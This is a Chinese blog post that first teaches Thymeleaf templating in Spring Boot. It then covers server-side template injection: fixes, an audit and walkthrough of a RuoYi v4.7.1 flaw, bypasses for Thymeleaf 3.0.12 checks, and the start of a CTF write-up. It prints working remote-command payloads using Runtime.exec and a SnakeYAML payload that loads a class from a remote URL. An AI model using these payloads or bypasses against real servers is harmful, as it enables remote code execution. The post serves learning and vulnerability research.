干货|thymleaf ssti注入进阶&案例详解
模板引擎介绍
模板引擎?你可能第一次听说模板引擎,估计你会禁不住想问:什么是模板引擎?
- 模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的html文档。从字面上理解模板引擎,最重要的就是模板二字,这个意思就是做好一个模板后套入对应位置的数据,最终以html的格式展示出来,这就是模板引擎的作用。
- 对于模板引擎的理解,可以这样形象的做一个类比:开会! 相信你在上学初高中时候每次开会都要提前布置场地、拿小板凳、收拾场地。而你上了大学之后每次开会再也不去大操场了,每次开会都去学校的大会议室,桌子板凳音响主席台齐全,来个人即可,还可复用……。模板引擎的功能就类似我们的会议室开会一样开箱即用,将模板设计好之后直接填充数据即可而不需要重新设计整个页面。提高页面、代码的复用性。
Thymeleaf介绍
上面知晓了模板引擎的概念和功能,你也知道Thymeleaf是众多模板引擎的一种,你一定会好奇想深入学习Thymeleaf的方方面面。从官方的介绍来看,Thymeleaf的目标很明确:
- Thymeleaf的主要目标是为您的开发工作流程带来优雅自然的模板-HTML可以在浏览器中正确显示,也可以作为静态原型工作,从而可以在开发团队中加强协作。
- Thymeleaf拥有适用于Spring Framework的模块,与您喜欢的工具的大量集成以及插入您自己的功能的能力,对于现代HTML5 JVM Web开发而言,Thymeleaf是理想的选择——尽管它还有很多工作要做。
并且随着市场使用的验证Thymeleaf也达到的它的目标和大家对他的期望,在实际开发有着广泛的应用。Thymeleaf作为被Springboot官方推荐的模板引擎,一定有很多过人和不寻同之处:
- 动静分离: Thymeleaf选用html作为模板页,这是任何一款其他模板引擎做不到的!Thymeleaf使用html通过一些特定标签语法代表其含义,但并未破坏html结构,即使无网络、不通过后端渲染也能在浏览器成功打开,大大方便界面的测试和修改。
- 开箱即用: Thymeleaf提供标准和Spring标准两种方言,可以直接套用模板实现JSTL、 OGNL表达式效果,避免每天套模板、改JSTL、改标签的困扰。同时开发人员也可以扩展和创建自定义的方言。
- Springboot官方大力推荐和支持,Springboot官方做了很多默认配置,开发者只需编写对应html即可,大大减轻了上手难度和配置复杂度。
- 此外,Thymeleaf在曾经还有一次大的版本升级,从Thymeleaf2.0—>Thymeleaf3.0。在Thymeleaf2.0时代,Thymeleaf基于xml实现,虽然它带来了许多出色强大的功能,但有时会降低性能效率,那个时候Thymeleaf的性能真的太差而被很多人所吐槽带来了很不好的印象。
此外,Thymeleaf在曾经还有一次大的版本升级,从Thymeleaf2.0—>Thymeleaf3.0。在Thymeleaf2.0时代,Thymeleaf基于xml实现,虽然它带来了许多出色强大的功能,但有时会降低性能效率,那个时候Thymeleaf的性能真的太差而被很多人所吐槽带来了很不好的印象。
但是Thymeleaf3.0对比Thymeleaf2.0有着翻天覆地的变化,几乎是全部重写了整个Thymeleaf引擎,在性能、效率上相比Thymeleaf2有了很大改善,能够满足更多项目的需求,且Thymeleaf3.0不再基于xml所以在html环境下有着更宽松的编程环境。
此外,Thymelaf3.0在方言、独立于Java Servlet API、重构核心API、片段表达等方面有着巨大提升和改善,具体可以参看Thymeleaf3十分钟参考指南。
学习Thymeleaf必知的知识点
Thymeleaf模板的运行离不开web的环境,所以你需要对相关知识学习理解才能更好的有助于你对Thymeleaf的学习和认知。
Springboot
相信你对Springboot都很熟悉,我们使用Thymeleaf大多情况都是基于Springboot平台的,并且Thymeleaf的发展推广也离不开Springboot官方得支持,且本文的实战部分也是基于Springboot平台。
而Spring Boot是由Pivotal团队提供的全新框架,其设计目的是用来简化新Spring应用的初始搭建以及开发过程。该框架使用了特定的方式来进行配置,从而使开发人员不再需要定义样板化的配置。通过这种方式,Spring Boot致力于在蓬勃发展的快速应用开发领域(rapid application development)成为领导者。
简而言之,Springboot是当前web开发主流,且其简化了Spring的配置让开发者能够更容易上手Web项目的开发。且Thymeleaf能够快速整合入Springboot,使用方便快捷。
MVC介绍
我们使用的Thymeleaf模板引擎在整个web项目中起到的作用为视图展示(view),谈到视图就不得不提起模型(model)以及控制器(view),其三者在web项目中分工和职责不同,但又相互有联系。三者组成当今web项目较为流行的MVC架构。
MVC全名是Model View Controller,是模型(model)-视图(view)-控制器(controller)的缩写,其中:
- Model(模型)表示应用程序核心(用来存储数据供视图层渲染)。
- View(视图)显示数据,而本篇使用的就是Thymeleaf作为视图。
- Controller(控制器)处理输入请求,将模型和视图分离。
使用MVC设计模式程序有很多优点,比如降低程序耦合、增加代码的复用性、降低开发程序和接口的成本,并且通过这样分层结构在部署维护能够提供更大的便捷性。
在Java web体系最流行的MVC框架无疑就是Springmvc框架了,在项目中经常配合模板引擎使用或者提供Restful接口。在下面案例Thymeleaf同样使用Springmvc作为MVC框架进行控制。
动静分离
你可能还是不明白什么才是真正的动静分离,其实这个主要是由于Thymeleaf模板基于html,后缀也是.html,所以这样就会产生一些有趣的灵魂。
对于传统jsp或者其他模板来说,没有一个模板引擎的后缀为.html,就拿jsp来说jsp的后缀为.jsp,它的本质就是将一个html文件修改后缀为.jsp,然后在这个文件中增加自己的语法、标签然后执行时候通过后台处理这个文件最终返回一个html页面。
浏览器无法直接识别.jsp文件,需要借助网络(服务端)才能进行访问;而Thymeleaf用html做模板可以直接在浏览器中打开。开发者充分考虑html页面特性,将Thymeleaf的语法通过html的标签属性来定义完成,这些标签属性不会影响html页面的完整性和显示。如果通过后台服务端访问页面服务端会寻找这些标签将服务端对应的数据替换到相应位置实现动态页面!大体区别可以参照下图:
上图的意思就是如果直接打开这个html那么浏览器会对th等标签忽视而显示原始的内容。如果通过服务端访问那么服务端将先寻找th标签将服务端储存的数据替换到对应位置。具体效果可以参照下图,下图即为一个动静结合的实例。
- 右上角为动态页面通过服务端访问,数据显示为服务端提供的数据,样式依然为html的样式
- 右下角为静态页面可通过浏览器直接打开,数据为初始的数据
动态页面每次修改打开都需要重新启动程序、输入链接,这个过程其实是相对漫长的。如果界面设计人员用这种方式进行页面设计时间成本高并且很麻烦,可通过静态页面设计样式,设计完成通过服务端访问即可达成目标UI的界面和应用,达到动静分离的效果。这个特点和优势是所有模板引擎中Thymeleaf所独有的!
第一个Thymeleaf程序
上面既然简单介绍了Thymeleaf,下面咱们着手实战第一个Thymeleaf程序。考虑到Thymeleaf被Springboot官方推荐,并且Springboot已成为javaweb领域必不可少的技术点,咱们就用IDEA基于Springboot构建第一个Thymeleaf程序。Thymeleaf提供了一组Spring集成,使您可以将其用作Spring MVC应用程序中JSP的全功能替代品。对于构建一个完整程序,创建第一个Thymeleaf程序需要以下几个步骤:
- 创建程序,添加依赖
- 编写Controller
- 编写Thymeleaf页面
- 访问页面
创建程序,添加依赖
首先,打开你的IDEA创建新项目,选择Spring Initializr方式创建Springboot项目 ,然后点击next。具体如下图所示。
点击next之后,我们进行next 填写好Group(一般com或者com.xxx)和Aritifact(一般项目名)创建。其他地方没有特殊情况不需要修改,具体如下图:
IDEA的编译器做的很友好,可以直接选择热门的依赖而不需要去进行寻找,我们勾选其中Web 模块的Spring web依赖以及Template 模块的Thymeleaf依赖。finish 即可:
当然,如果你创建项目时没有勾选依赖也不要紧,在pom.xml中添加以下依赖:
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
就这样,程序创建完毕,依赖也成功添加,你就可以在此基础上正式开始你的个性化操作。
编写controller
在编写Controller和Thymeleaf之前,先让你看一下最终项目的目录结构,有个初略的印象和概念:
在其中:
- pom.xml:是项目中的Maven依赖,因为Springboot使用Maven来管理外部jar包依赖,我们只需填写依赖名称配置即可引入该依赖,在本系统中引入Spring web模块(Springmvc)和Thymeleaf的依赖.我们不需要自己去招相关jar包。
- application.properties: 编写Springboot与各框架整合的一些配置内容。
- controller:用来编写控制器,主要负责处理请求以及和视图(Thymeleaf)绑定。
- static:用于存放静态资源,例如html、JavaScript、css以及图片等。
- templates:用来存放模板引擎Thymeleaf(本质依然是.html文件)
项目基于Springboot框架,且选了Spring web(Springmvc)作为mvc框架,其中Thymeleaf就是v(view)视图层,我们需要在controller中指定Thymeleaf页面的url,然后再Model中绑定数据。
我们在com.Thymeleaf文件下创建controller文件夹,在其中创建urlController.java的controller文件,文件内容(代码)为:
package com.Thymeleaf.controller;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
@Controller
public class urlController {
@GetMapping("index")//页面的url地址
public String getindex(Model model)//对应函数
{
model.addAttribute("name","bigsai");
return "index";//与templates中index.html对应
}
}
上述代码就是一个完整的controller。部分含义如下:
- @controller 注解的意思就是声明这个java文件为一个controller控制器。
- @GetMapping("index") 其中@GetMapping的意思是请求的方式为get方式(即可通过浏览器直接请求),而里面的index表示这个页面(接口)的url地址(路径)。即在浏览器对项目网页访问的地址。
- getindex() 是@GetMapping("index")注解对应的函数,其类型为String类型返回一个字符串,参数Model类型即用来储存数据供我们Thymeleaf页面使用。
- model.addAttribute("name","bigsai") 就是Model存入数据的书写方式,Model是一个特殊的类,相当于维护一个Map一样,而Model中的数据通过controller层的关联绑定在view层(即Thymeleaf中)可以直接使用。
- return "hello":这个index就是在templates目录下对应模板(本次为Thymeleaf模板)的名称,即应该对应hello.html这个Thymeleaf文件(与页面关联默认规则为:templates目录下返回字符串.html)。
编写Thymeleaf页面
咱们在项目的resources目录下的templates文件夹下面创建一个叫index.html的文件,咱们在这个html文件中的<html>标签修改为<html xmlns:th="http://www.thymeleaf.org">这样在Thymeleaf中就可以使用Thymeleaf的语法和规范啦。
对于第一个Thymelaf程序,你只需将index.html文件改成这样即可:
<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<head>
<meta charset="UTF-8">
<title>title</title>
</head>
<body>
hello 第一个Thymeleaf程序
<div th:text="${name}">name是bigsai(我是离线数据)</div>
</body>
</html>
你可能会对<div th:text="${name}">name是bigsai(我是离线数据)</div>感到陌生,这个标签中的th:text="${name}"就是Thymeleaf取值的一个语法,这个值从后台渲染而来(前面controller中在Model中存地值),如果没网络(直接打开html文件)的时候静态数据为:name是bigsai(我是离线数据)。而如果通过网络访问那么内容将是前面在controller的Model中储存的bigsai。
启动程序
这样写好之后咱们执行这个Springboot程序。通过网络访问http://localhost:8080/index
上图左侧为直接打开的静态页面,而右侧是通过网络访问服务端返回的动态界面,可以看的到,界面的内容和我们预期一致,左右两侧也正是静动态页面的两个代表。
通过以上的步骤,你就完成了第一个Thymeleaf程序并且能够成功运行。入门便悄然开始!
Thymeleaf语法详解
上面虽然完成了第一个Thymeleaf程序,但是那样远远满足不了我们在项目中使用Thymeleaf,所以我们要对Thymeleaf的语法规则进行更详细的学习。
配置
虽然Springboot官方对Thymeleaf做了很多默认配置,但咱们引入Thymeleaf的jar包依赖后很可能根据自己特定需求进行更细化的配置,例如页面缓存、字体格式设置等等。
Springboot官方提供的配置内容有以下:
# THYMELEAF (ThymeleafAutoConfiguration)
spring.thymeleaf.cache=true # Whether to enable template caching.
spring.thymeleaf.check-template=true # Whether to check that the template exists before rendering it.
spring.thymeleaf.check-template-location=true # Whether to check that the templates location exists.
spring.thymeleaf.enabled=true # Whether to enable Thymeleaf view resolution for Web frameworks.
spring.thymeleaf.enable-spring-el-compiler=false # Enable the SpringEL compiler in SpringEL expressions.
spring.thymeleaf.encoding=UTF-8 # Template files encoding.
spring.thymeleaf.excluded-view-names= # Comma-separated list of view names (patterns allowed) that should be excluded from resolution.
spring.thymeleaf.mode=HTML # Template mode to be applied to templates. See also Thymeleaf's TemplateMode enum.
spring.thymeleaf.prefix=classpath:/templates/ # Prefix that gets prepended to view names when building a URL.
spring.thymeleaf.reactive.chunked-mode-view-names= # Comma-separated list of view names (patterns allowed) that should be the only ones executed in CHUNKED mode when a max chunk size is set.
spring.thymeleaf.reactive.full-mode-view-names= # Comma-separated list of view names (patterns allowed) that should be executed in FULL mode even if a max chunk size is set.
spring.thymeleaf.reactive.max-chunk-size=0 # Maximum size of data buffers used for writing to the response, in bytes.
spring.thymeleaf.reactive.media-types= # Media types supported by the view technology.
spring.thymeleaf.servlet.content-type=text/html # Content-Type value written to HTTP responses.
spring.thymeleaf.suffix=.html # Suffix that gets appended to view names when building a URL.
spring.thymeleaf.template-resolver-order= # Order of the template resolver in the chain.
spring.thymeleaf.view-names= # Comma-separated list of view names (patterns allowed) that can be resolved.
上面的配置有些我们可能不常使用,因为Springboot官方做了默认配置大部分能够满足我们的使用需求,但如果你的项目有特殊需求也需要妥善使用这些配置。
比如spring.thymeleaf.cache=false是否允许页面缓存的配置,我们在开发时候要确保页面是最新的所以需要禁用缓存;而在上线运营时可能页面不常改动为了减少服务端压力以及提升客户端响应速度会允许页面缓存的使用。
再比如在开发虽然我们大部分使用UTF-8多一些,我们可以使用spring.thymeleaf.encoding=UTF-8来确定页面的编码,但如果你的项目是GBK编码就需要将它改成GBK。
另外Springboot默认模板引擎文件是放在templates目录下:spring.thymeleaf.prefix=classpath:/templates/,如果你有需求将模板引擎也可修改配置,将templates改为自己需要的目录。同理其他的配置如果需要自定义化也可参照上面配置进行修改。
常用标签
咱们上面知道Thymeleaf通过特殊的标签来寻找属于Thymeleaf的部分,并渲染该部分内容,而除了上面展示过的th:text之外还有很多常用标签,并且Thymeleaf也主要通过标签来识别替换对应位置内容,Thymeleaf标签有很多很多,功能也很丰富,这里列举一些比较常用的标签如下:
标签 |
作用 |
示例 |
th:id |
替换id |
<input th:id="${user.id}"/> |
th:text |
文本替换 |
<p text:="${user.name}">bigsai</p> |
th:utext |
支持html的文本替换 |
<p utext:="${htmlcontent}">content</p> |
th:object |
替换对象 |
<div th:object="${user}"></div> |
th:value |
替换值 |
<input th:value="${user.name}" > |
th:each |
迭代 |
<tr th:each="student:${user}" > |
th:href |
替换超链接 |
<a th:href="@{index.html}">超链接</a> |
th:src |
替换资源 |
<script type="text/javascript" th:src="@{index.js}"></script> |
链接表达式: @{…}
上面我们已经学习到Thymeleaf是一个基于html的模板引擎,但是我们还是需要加入特定标签来声明和使用Thymeleaf的语法。我们需要在Thymeleaf的头部加Thymeleaf标识:
<html xmlns:th="http://www.thymeleaf.org">
在Thymeleaf 中,如果想引入链接比如link,href,src,需要使用@{资源地址}引入资源。其中资源地址可以static目录下的静态资源,也可以是互联网中的绝对资源。
引入css
<link rel="stylesheet" th:href="@{index.css}">
引入JavaScript:
<script type="text/javascript" th:src="@{index.js}"></script>
超链接:
<a th:href="@{index.html}">超链接</a>
这样启动程序访问页面,页面的内容就自动修改成标准html语法格式的内容:
变量表达式: ${...}
在Thymeleaf中可以通过${…}进行取值,这点和ONGL表达式语法一致。
例如咱们创建这么一个对象:
public class user {
private String name;
private int age;
private String detail;
public user(String name, int age, String detail) {
this.name = name;
this.age = age;
this.detail = detail;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
public String getDetail() {
return detail;
}
public void setDetail(String detail) {
this.detail = detail;
}
}
咱们为了测试先在Model中添一些数据:
@GetMapping("index")//页面的url地址
public String getindex(Model model)//对应函数
{
user user1=new user("bigsai",22,"一个幽默且热爱java的社会青年");
List<String>userList=new ArrayList<>();
userList.add("zhang san 66");
userList.add("li si 66");
userList.add("wang wu 66");
Map<String ,String>map=new HashMap<>();
map.put("place","博学谷");
map.put("feeling","very well");
//数据添加到model中
model.addAttribute("name","bigsai");//普通字符串
model.addAttribute("user",user1);//储存javabean
model.addAttribute("userlist",userList);//储存List
model.addAttribute("map",map);//储存Map
return "index";//与templates中index.html对应
}
取普通字符串:
如果在controller中的Model直接存储某字符串,我们可以直接${对象名}进行取值。完整代码如下:
<h2>普通字符串</h2>
<table border="0">
<tr>
<td th:text="'我的名字是:'+${name}"></td>
</tr>
</table>
运行结果为:
取JavaBean对象:
取JavaBean对象也很容易,因为JavaBean自身有一些其他属性,所以咱们就可以使用${对象名.对象属性}或者${对象名['对象属性']}来取值,这和JavaScript语法是不是很相似呢!除此之外,如果该JavaBean如果写了get方法,咱们也可以通过get方法取值例如${对象.get方法名}完整代码如下:
<h2>JavaBean对象</h2>
<table bgcolor="#ffe4c4" border="1">
<tr>
<td>介绍</td>
<td th:text="${user.name}"></td>
</tr>
<tr>
<td>年龄</td>
<td th:text="${user['age']}"></td>
</tr>
<tr>
<td>介绍</td>
<td th:text="${user.getDetail()}"></td>
</tr>
</table>
运行结果为:
取List集合(each):
因为List集合是个有序列表,里面内容可能不止一个,你需要遍历List对其中对象取值,而遍历需要用到标签:th:each,具体使用为 <tr th:each="item:${userlist}">,其中item就相当于遍历每一次的对象名,在下面的作用域可以直接使用,而userlist就是你在Model中储存的List的名称。完整的代码为:
<h2>List取值</h2>
<table bgcolor="#ffe4c4" border="1">
<tr th:each="item:${userlist}">
<td th:text="${item}"></td>
</tr>
</table>
运行结果为:
直接取Map:
很多时候我们不存JavaBean而是将一些值放入Map中,再将Map存在Model中,我们就需要对Map取值,对于Map取值你可以${Map名['key']}来进行取值。也可以通过${Map名.key}取值,当然你也可以使用${map.get('key')}(java语法)来取值,完整代码如下:
<h2>Map取值</h2>
<table bgcolor="#8fbc8f" border="1">
<tr>
<td>place:</td>
<td th:text="${map.get('place')}"></td>
</tr>
<tr>
<td>feeling:</td>
<td th:text="${map['feeling']}"></td>
</tr>
</table>
运行结果为:
遍历Map:
如果说你想遍历Map获取它的key和value那也是可以的,这里就要使用和List相似的遍历方法,使用th:each="item:${Map名}"进行遍历,在下面只需使用item.key和item.value即可获得值。完整代码如下:
<h2>Map遍历</h2>
<table bgcolor="#ffe4c4" border="1">
<tr th:each="item:${map}">
<td th:text="${item.key}"></td>
<td th:text="${item.value}"></td>
</tr>
</table>
选择变量表达式: *{...}
变量表达式不仅可以写成${...},而且还可以写成*{...}。
但是,有一个重要的区别:星号语法对选定对象而不是整个上下文评估表达式。也就是说,只要没有选定的对象,美元(${…})和星号(*{...})的语法就完全一样。
什么是选定对象?使用th:object属性的表达式的结果。就可以选定对象,具体实例如下:
<div th:object="${user}">
<p>Name: <span th:text="*{name}">赛</span>.</p>
<p>Age: <span th:text="*{age}">18</span>.</p>
<p>Detail: <span th:text="*{detail}">好好学习</span>.</p>
</div>
当然*{…}也可和${…}混用。上面的代码如果不使用选定对象,完全等价于:
<div >
<p>Name: <span th:text="*{user.name}">赛</span>.</p>
<p>Age: <span th:text="${user.age}">18</span>.</p>
<p>Detail: <span th:text="${user.detail}">好好学习</span>.</p>
</div>
运行结果为:
消息表达: #{...}
文本外部化是从模板文件中提取模板代码的片段,以便可以将它们保存在单独的文件(通常是.properties文件)中,文本的外部化片段通常称为“消息”。通俗易懂的来说#{…}语法就是用来读取配置文件中数据的。在Thymeleaf你可以使用#{...}语法获取消息,具体实例代码如下:
首先在templates目录下建立home.properties中写入以下内容:
bigsai.nane=bigsai
bigsai.age=22
province=Jiang Su
在application.properties中加入以下内容:
spring.messages.basename=templates/home
这样我们就可以在Thymeleaf中读取配置的文件了,完整代码如下:
<h2>消息表达</h2>
<table bgcolor="#ffe4c4" border="1">
<tr>
<td>name</td>
<td th:text="#{bigsai.name}"></td>
</tr>
<tr>
<td>年龄</td>
<td th:text="#{bigsai.age}"></td>
</tr>
<tr>
<td>province</td>
<td th:text="#{province}"></td>
</tr>
</table>
运行结果为:
漏洞复现:
漏洞修复:
配置ResponseBody或RestController注解
@GetMapping("/doc/{document}")
@ResponseBody
public void getDocument(@PathVariable String document) {
log.info("Retrieving " + document);
//returns void, so view name is taken from URI
}
配置了ResponseBody注解确实无法触发,经过调试在applyDefaultViewName中ModelAndView是Null而非ModelAndView对象,所以hasView()会导致异常,不会设置视图名。
所以我们要分析创建ModelAndView对象的方法,也就是getModelAndView,这里requestHandled设置为True时会返回Null,而不会创建视图。
当我们设置了ResponseBody注解后,handler返回的是RequestResponseBodyMethodProcesser,所以这里会调用它的handleReturnValue,设置了RequestHandled属性为True。
配置RestController修复和这种方式类似,也是由于使用RequestResponseBodyMethodProcesser设置了RequestHandled属性导致不能得到ModelAndView对象了。
有小伙伴可能要问,上面只是讲的URL PATH中的修复,templatename中这种方式也能修复嘛?答案是肯定的,根本原因在设置了RequestHandled属性后,ModelAndView一定会返回Null。
通过redirect:
根据springboot定义,如果名称以redirect:开头,则不再调用ThymeleafView解析,调用RedirectView去解析controller的返回值
所以配置redirect:主要影响的是获取视图的部分。在ThymeleafViewResolver#createView中,如果视图名以redirect:开头,则会创建RedirectView并返回。所以不会使用ThymeleafView解析。
方法参数中设置HttpServletResponse 参数
@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document, HttpServletResponse response) {
log.info("Retrieving " + document);
}
由于controller的参数被设置为HttpServletResponse,Spring认为它已经处理了HTTP
Response,因此不会发生视图名称解析。
首先声明下 这种方式只对返回值为空的情况下有效,也就是URL PATH 的方式 ,下面我会解释一下原因。
设置了HttpServletResponse后也是设置requestHandled设置为True导致在applyDefaultViewName无法设置默认的ViewName。
但是它的设置是在ServletInvocableHandlerMethod#invokeAndHandle中。由于mavContainer.isRequestHandled()被设置为True,所以进入到IF语句中设置了requestHandled属性,但是这里的前提条件是returnValue为空,所以这种修复方法只有在返回值为空的情况下才有效。
requestHandled的属性设置在HandlerMethodArgumentResolverComposite#resolveArgument解析参数时,这里不同的传参方式获得的ArgumentResolver是不同的,比如没加HttpServletResponse时得到的是PathVariableMethodArgumentResolver。
加上后会对HttpServletResponse也进行参数解析,解析后的结果为ServletResponseMethodArgumentResolver,在它的resolveArgument方法中,会设置requestHandled属性。
案例讲解:若依v4.7.1 -THymleaf模板注入
Thymeleaf组件漏洞代码审计
在第三方组件漏洞审计时,了解到Thymeleaf组件版本为 2.0.0 ,该版本存在SSTI(模板注入)漏洞。
关于什么是Thymeleaf,推荐学习这篇文章:
https://waylau.gitbooks.io/thymeleaf-
tutorial/content/docs/introduction.html
什么是SSTI(模板注入)漏洞
Server-Side Template Injection简称SSTI,也就是服务器端模板注入。所谓的模板即为 模板引擎 。本项目使用的Thymeleaf是众多模板引擎之一。还有其他Java常用的模板引擎,如:velocity,freemarker,jade等等。模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板加上用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。模板注入(SSTI)漏洞成因,是因为服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。
Thymeleaf模板注入漏洞简介
Thymeleaf模板注入形成原因,简单来说,在Thymeleaf模板文件中使用
th:fragment、 , th:text 这类标签属性包含的内容会被渲染处理。并且在
Thymeleaf渲染过程中使用 ${...} 或其他表达式中时内容会被Thymeleaf EL引擎执
行。因此我们将攻击语句插入到 ${...} 表达式中,会触发Thymeleaf模板注入漏洞。
如果带有 @ResponseBody 注解和 @RestController 注解则不能触发模板注入漏
洞。因为 @ResponseBody 和 @RestController 不会进行View解析而是直接返回。
所以这同样是修复方式。
发现SSTI(模板注入)漏洞点
我们在审计模板注入(SSTI)漏洞时,主要查看所使用的模板引擎是否有接受用户输入的地方。主要关注xxxController层代码。
在Controller层,我们关注两点:
1、URL路径可控。
2、return内容可控。
所谓可控,也就是接受输入。对应上面两个关注点,举例说明如下。
1、URL路径可控
@RequestMapping("/hello")
public class HelloController {
@RequestMapping("/whoami/{name}/{sex}")
public String hello(@PathVariable("name") String name,
@PathVariable("sex") String sex){
return "Hello" + name + sex;
}
}
2、return内容可控
@PostMapping("/getNames")
public String getCacheNames(String fragment, ModelMap mmap)
{
mmap.put("cacheNames", cacheService.getCacheNames());
return prefix + "/cache::" + fragment;
}
根据上面两个关注点,对 若依v4.2 进行了一番探索。并没有发现存在Thymeleaf模板注入漏洞点。但在 若依v4.7.1 发现存在 return内容可控 的情况。为了学习该漏洞,下面以 若依v4.7.1 版本进行Thymeleaf模板注入代码审计学习。
在 若依v4.7.1 的 RuoYi-v4.7.1\ruoyi-
admin\src\main\java\com\ruoyi\web\controller\monitor 下多了一个
CacheController.java 文件。该文件下有多个地方 Return内容可控 ,如下图所
示:
简单理解:接收到 fragment 后,在return处进行了模板路径拼接。
根据代码我们知道根路径为 /monitor/cache ,各个接口路径分别
为 /getNames , /getKeys , /getValue 。请求方法为 POST ,请求参数均为
fragment 。
知道了这些内容,我们在渗透测试部分进行漏洞验证。
系统还有存在其他漏洞点,大家可以自由发挥找一找。
漏洞复现:
①、先登录DNSlog平台,获取一个DNSlog地址。
1、类的构造方法为Public
2、类的构造方法无参
3、调用目标字符串的参数为:支持字符串,布尔类型,长整型,浮点型,整型
4、调用目标方法除了为Public,无参,还需要具有执行代码/命令的能力
②、然后进入后台,访问 系统监控-定时任务 功能,点击新增,在目标字符串下添加如
下内容(即攻击payload):
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager
[!!java.net.URLClassLoader [[!!java.net.URL ["ftp://此处填入DNSlog地
址"]]]]')
在代码审计处,我们发现 若依v4.7.1 存在Thymeleaf模板注入漏洞,并且存在return内容可控的漏洞点,我们通过渗透测试角度进行漏洞验证。
Thymeleaf模板注入payload举例:
return内容可控:
__${new
java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getI
nputStream()).next()}__::.x
URL路径可控:
__${T(java.lang.Runtime).getRuntime().exec("touch test")}__::.x
本次漏洞验证我在Windows环境下进行的。
⚠ 注意: 若依v4.7.1 搭建部署与 若依v4.2 相同,数据库导入务必使用 sql 目录
下的 ry_20210924.sql 和 quartz.sql 。先导入 ry_20210924.sql 。
return内容可控:
__${new
java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getI
nputStream()).next()}__::.x
URL路径可控:
__${T(java.lang.Runtime).getRuntime().exec("touch test")}__::.x
我们以 getKeys 接口为例,该漏洞点为 return内容可控 ,具体漏洞验证如下。
①、正常启动项目,进入后台。我们发现在 系统监控 下有个 缓存监控 的功能,和代
码审计发现的 CacheControlle 代码文件中功能注释一样。初步确定两者相同。
②、访问缓存监控功能。进入后,分别点击 缓存列表 和 键名列表 旁的刷新按钮,会
分别想 getNames , getKeys 接口发送数据。如下图所示
③、将数据包发送到Repeater模块,在 fragment 参数后构造攻击payload为 __${new
java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc.exe")
}__::.x ,对paylod进行URL编码后。发送数据包。响应报错,而且并没有弹出来计算
器。如下图所示:
因此,我们刚开始用的Payload是被限制了。
经过一顿操作猛如虎,其实谷歌就能有。
我们将Payload改造一下,如 ${T
(java.lang.Runtime).getRuntime().exec("calc.exe")} 。在T和(之间多加几个
空格即可。
对Payload进行URL编码后,放入 fragment 参数中,可以看到弹出了计算器,如下图
所示:
至此,漏洞验证部分结束。
希望大家在这基础上,进一步学习Thymeleaf模板注入漏洞。直接推荐一篇文章:
THemleaf-SSTI bypass
checkViewNameNotInRequest
在 3.0.12 中新增的 SpringRequestUtils 类中存在一个 checkViewNameNotInRequest 方法,我们在进行 SSTI 的时候一定会进入这里的 checkViewNameNotInRequest 方法
在 3.0.12 中新增的 SpringRequestUtils 类中存在一个 checkViewNameNotInRequest 方法,我们在进行 SSTI 的时候一定会进入这里的 checkViewNameNotInRequest 方法
这里分别传入了 viewTemplateName 和 request,我们继续步入
这里会分别对传入的 viewTemplateName 和 request.getRequestURI 进行 pack 操作,这个操作会将所有的空格去除,并且将所有字母转为小写,具体逻辑不粘了,这里是我们的 viewTemplateName 转为小写后的 vn
也就是 viewTemplateName 去掉空格转小写之后的
后续的大概逻辑是 getRequestURI 进行解码和 pack,转完之后的形式大致如下
至此,我们就获得了下面这二位
这个类进行的 check 就是 requestURI 不为空,并且不包含 vn 的值
这里我们的绕过方式是破坏这里获取到的 requestURI 的内容,几个 Payload 如下
/doc//
/doc;/
/doc/;/
都可以完美的绕过,这里可以分析一下 requestURI 的由来,这里的 unescapeUriPath 最终调用的实际上是 UriEscapeUtil.unescape ,在这个方法中首先检测传入的字符中是否是%(ESCAPE_PREFIX)或者+,如果是,那么进行二次处理:将 + 转义成空格、如果 % 的数量大于一,需要一次将它们全部转义,处理完毕后,将处理后的字符串返还回,而 getRequestURI 获取的显然就是 URI 根路径下的全部内容,二者结合,这里完全可以绕过判断
SpringStandardExpressionUtils
在 3.0.12 版本的 Thymeleaf 中新增了一个 SpringStandardExpressionUtils类,其中写了好一个 containsSpELInstantiationOrStatic 方法
对表达式中的内容进行一个判断,主要有下面两个:
- 检测 new 关键字
但是这里我们可以发现这里存在一些安全问题,首先,这里传入的内容为 spelExpression ,我们可以很明显地发现,这里的关键字检测是没有进行大小写的考虑的,而我们传入的 spelExpression 也是最原始的 SPEL 表达式中的内容,并没有经过 pack 等方法的处理,所以显然,这里我们可以利用 大小写绕过
- 检测 T(
这里我们可以利用 `` 来进行绕过,T (并不会被这里的n-1检测到,但同时还可以被 SPEL 表达式识别,这里实际上还可以用其他的符号进行绕过,像%0a(换行)、%09(制表符),我们只需要保证这里夹在T和( 之间的字符不会使原表达式出现问题即可
相关题目 网鼎杯 FindIT
题目给出 Jar 包,我们本地启动进行调试,并对其进行反编译分析。
可以发现是 SpringBoot 框架,使用了 Thymeleaf 模板
主要控制器逻辑如下:
/ 默认传输了 CTFers 给 Thymeleaf 预留的 变量表达式,
对我们来说没什么用了,test 路由直接返回固定字符串,我们重点看下面的两个
这里分别是一个返回的 Welcome :: path 的 path 路由
